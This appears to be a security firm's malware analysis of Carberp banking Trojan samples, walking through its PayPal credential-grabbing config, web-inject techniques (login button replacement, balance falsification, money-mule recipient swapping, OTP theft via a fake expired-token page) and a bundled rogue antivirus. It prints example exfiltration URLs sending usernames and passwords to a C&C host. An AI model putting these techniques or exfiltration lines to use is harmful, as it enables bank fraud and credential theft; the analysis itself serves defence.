Carberp hit the scene with a big bang last month targeting financial institutions with transactional two factor authentication schemes and we looked at what Carberp does to an infected system in a previous in-depth report.
Credits go to Alex Shipp who reversed engineered some samples including the configuration mechanism. His article can be seen here: http://www.trustdefender.com/trustdefender-labs-blog-carberp-tricks-and-traps-a-technical-overview.html
For this report, we looked at two Carberp samples
- MD5 54f9f6dd8fbbd40ff61ed66fc9a0ac4f which was seen on Nov 15.
- MD5 2b36b49baec741ba8e82ae32dca19906 which was seen on Dec 1.
As we regularly experience, antivirus detection is pretty bad.
- For the first sample, Virustotal detection reports a 16.3% detection rate (7/43) http://www.virustotal.com/file-scan/report.html?id=2c235893f1232185f935af425f66c3b1d7120d594d14be57f01b9f3873ddb76c-1289808255.
And a big cheers to Microsoft for being the only antivirus Engine to get the name right J
- For the second sample, Virustotal detection reports an 11.6% detection rate (5/43) http://www.virustotal.com/file-scan/report.html?id=8370576e842f1219c8e9c9486cb4c2d661a3b1ef2b184ea59ed45ac69159ddd4-1291196003 with only generic detections.
As we’ll see further below, this Carberp sample behaves exactly (!) as all Carberp samples before and I have a hard time understanding why it’s so hard to detect and why it’s so hard to see that this is the Carberp Trojan.</rant>
As we have analysed the Carberp Trojan in very much detail before, we won’t go into any details of how it infects a system and how you can detect it. Please refer to our TrustDefender Labs in-depth report in October for full details.
The payload was distributed from <<REMOVED>> which is a Phoenix exploit kit and it used <<REMOVED>> as its C&C server. The name doesn’t resolve now anymore, so that’s good.
The second sample used <<REMOVED>> as C&C server. Passive DNS reveals that this is also known as <<REMOVED>> .
Similarly to previous Carberp Trojans, this sample will download the following plugins
- /cfg/imp and /cfg/dknew
However this particular sample will also download and execute a file from <<REMOVED>>. <<REMOVED>> resolved to <<REMOVED>>
As we’ll find out later, this is a fairly nasty rogue antivirus engine.
1.1 CHANGE IN TACTICS?
Does this constitute a change of tactics for the guys behind Carberp? Are they moving away from their sophisticated attacks on banking websites to generating revenue from Rogue AV engines?
The way they’ll scam for their business, it seems absolutely plausible that they’ll generate a huge amount of revenue through selling rogue AV engines.
2 THE CONFIGURATION FILE
The downloaded /cfg/imp file is the configuration file for this variant and surprisingly this configuration file is really nice and simple and as such it provides a good opportunity to illustrate how Carberp works.
This behaviour is nothing special and puts Carberp into the same league as Zeus, Spyeye, URLZone, etc.
The decrypted configuration file looks like this:
This configuration file basically means the following:
- If the browser goes to any PayPal site (*paypal.com*), inject the attached script into the website, and
- Add an !deactivated!ONEVENT event to the submit button
- It will get the email (username) and password from the page and will send these stolen details to the C&C server via https to https://<<REMOVED>>/mv/paypal.com/grabber.php?idt=%user%&name=<EMAIL>%pass=<PASS>
The stolen credentials will be sent to an encrypted site (<<REMOVED>> in our case). When we looked at the certificate, we realized that it is issued to <<REMOVED>>. The experienced reader will recognize that <<REMOVED>> was one of the main C&C servers in the Netherlands in the first wave of Carberp Trojans that caused quite some damage.
Now if we go to the PayPal site, we can see the injection working within the browser:
The main emphasis of this in-depth report is not the Trojans themselves, but rather to observe what they do to the banking session (HTML) within the web browser. We look in detail at the chosen approach and provide details how they perform their nasty work.
3.1 SOME GENERAL NOTES
The fraudsters behind Carberp spend considerable time not just on the configuration file, but making sure that they have a very flexible and dynamic scheme in place to compromise a banking website. They want to do much more than “just” simple information stealing where some information is sent with the POST request to somewhere. Instead, they want to be able to dynamically send and receive information to steal data even very sophisticated authentication schemes are used.
So how can it be that the bad guys are successful in doing dynamic (AJAX) requests to their C&C servers?
The answer is: they don’t. They use a feature known for AJAX as JSONP (or JSON with Padding). That essentially means that they are not even sending any information via AJAX.
Example: Say the Trojan wants to send the username abc and password 123 to their C&C server; they just dynamically add a SCRIPT element as follows:
- <SCRIPT src=’https://TROJANC&C.com/in.php?username=abc&pass=123></SCRIPT>
3.2 PERSISTENT STORAGE
One thing we found quite interesting is the way how the perpetrators implement persistent storage. Persistent storage is needed if you want to save the current account balance for later use.
Internet Explorer actually provides a nice interface for “localStorage” and “globalStorage” that can be used for exactly this purpose.
If that’s not possible (e.g. if you run Firefox), then they simply create a new content element (that’s a <DIV> element called ‘customStorage’) where they store the information.
3.3 EXAMPLE 1: GET THE ACTUAL CASH BALANCE FOR THE CURRENT ACCOUNT
This will copy the available balance from the HTML content id ‘cashTotalAvalBalance’ to the variable “total”. Then it will remove the dollar ($) and comma (,) characters and then call a function “sdata” which does a request to the C&C server with the following parameter:
- total=<available cash>
- idt=<USERID within the Carberp backend>
3.4 EXAMPLE 2: REPLACING THE LOGIN BUTTON WITH A “MALICIOUS” LOGIN BUTTON
- This snippet will walk through all form fields and once it finds one called ‘Anmelden’ (German for login) it will save a reference to it.
- Then it will create a new input field with exactly the same values (name, type, class, title, value, tabIndex), however it will set an !deactivated!ONEVENT event handler which will now call a malicious function “doLogin” if the user clicks on it.
- Then it will insert this newly created button to the page (2nd to last line) and finally will remove the “real” login button (last line)
- The doLogin function will take the accountNumber, the pinNumber, the current URL, a Carberp unique userid and a browser identifier and save this into local storage and then will submit the form.
- The information in the local storage will then later be used.
3.5 EXAMPLE 3: CHANGE ACCOUNT BALANCE DISPLAY (TO REMOVE FRAUDULENT TRANSACTION AMOUNT)
- Furthermore it will get the fraudulent amount from local storage into the “sd” variable. “nv” is then the correct HTML of the fake amount (obviously the current balance plus the fraudulent amount).
- Then it will be written to the HTML (and to make it look nice, the style sheet will be fixed up as well
3.6 EXAMPLE 4: REMEMBER THE LAST LOGIN DATE AND REPLACE THE “REAL” LAST LOGIN DATE WITH A FAKE ONE
- When called, this will walk through the content elements and find the paragraph that contains “Letztes Login” (German for last login).
- The first time, it just store this information in the persistent storage
- The second time, it will replace the real date with the saved one from the persistent storage.
3.7 EXAMPLE 5: CHANGE RECIPIENT DETAILS ON FORM SUBMISSION
Ok, this is cool…
The next snippet will be called in exactly the same way we presented in Example 2, meaning the submit button has been replaced and once the user clicks on submit, the following code will execute:
And then this will happen…
- In this section, the original recipient details will be saved and the wire transfer form will be located. For our non-German readers (empfaengerName = recipient name, empfaengerKontonummer = recipient account number, empfaengerBlz = recipient bank identifier, betrag = amount, verwendungszweck = reference number)
- All these details will be stored in the local storage
- The login number, the account number, the amount and the bank identification number will be sent to the C&C server, who will in turn reply with the money mule account details. Now the alertContents function will be called which will change the recipient details on the fly
- Now with all the relevant information at hand, Carberp will search for the wire transfer form and
- Put the money mule details received by step 3 into the local storage for later use
- Carberp makes sure that this wire transfer is executed immediately
- Now the recipient details are changed to the money mule details
- And finally the form will be submitted and the wire transfer executed
It is worth noting that now the original recipient details and the changed details (money mule) are still in local storage for later use (e.g. change the available account balance)
3.8 EXAMPLE 6: THE MOST WELL-THOUGHT-THROUGH EXAMPLE OF ONE-TIME-PASSWORD TOKEN STEALING
We’ve all seen so many examples where form fields are changed so that the fraudsters can steal the information they want, but I have never ever seen such a sophisticated token stealing mechanism as employed by the guys behind Carberp. Sophisticated not really in the technical sense, but more from a user design point of view. These guys have spent so much time making sure that users won’t get suspicious.
As you know, OTP’s are only valid once and for a specific time. So the “traditional” approach was to either present a dedicated form to steal a OTP on its own (see e.g. our last Gozi report for such an example).
So this one blew us away and it works as follows:
- For an authentication page where the user has to provide a OTP, Carberp will hook into the onSubmit of the “Sign on” button
- It will save all values (including the OTP) and then simulate the look and feel of a new page loading. This new page says that the token password has expired and the user should please enter another one. The page loading will be stretched to 60 seconds to get a new OTP!
- The page load simulation is done as follows
- All content elements will be made invisible (via CSS) and the page loading time will be a simulated 60 seconds.
- With a timeout function, the content elements keep appearing one by one (exactly how it looks if a page loads slowly)
- They check all input parameters (including e.g. that the OTP is different than the old one)
4 ROGUE / FAKE ANTIVIRUS ENGINE
This Carberp variant has an interesting twist to it as it will also install a rogue Antivirus Engine. We at TrustDefender Labs are most interested in transactional Trojans so we’ll keep this section short; we can just view it as a kind of a “reverse online fraud” as the bad guys don’t try to turn legitimate wire transfers into fraudulent ones. Instead, they convince you to do execute and authorize the fraudulent transaction directly. No need to steal it at all.
First of all, it pretends to scan the computer just to find a lot of things (as you would guess).
Obviously there are many infections and I can only remove them if I pay (obviously).
$79.95 for a lifetime license + premium support doesn’t seem to be such a bad deal, but somehow I declined to pay this time.
The system is almost unusable if you don’t upgrade as for every single program the following information window will be shown!
So either you pay or the system is almost unusable… I think they make lots of money…
Side note: if you want to see exactly how much they are making, please refer to the great report by Bart Villeneuve from the Information Warfare Monitor: http://www.infowar-monitor.net/reports/iwm-koobface.pdf
SPOILER: “The Koobface mothership maintains daily records of the money earned from affiliate relationships. The daily total for the last seven days is sent to four Russian mobile phone numbers daily. The records of daily totals extend back for nearly one year, from June 23, 2009 to June 10, 2010. During this time, Koobface earned a total income of $2,067,682.69. The daily average income was $5,857.46.”
 Credits to BFK for their passive DNS system
 Although you have to see it in action…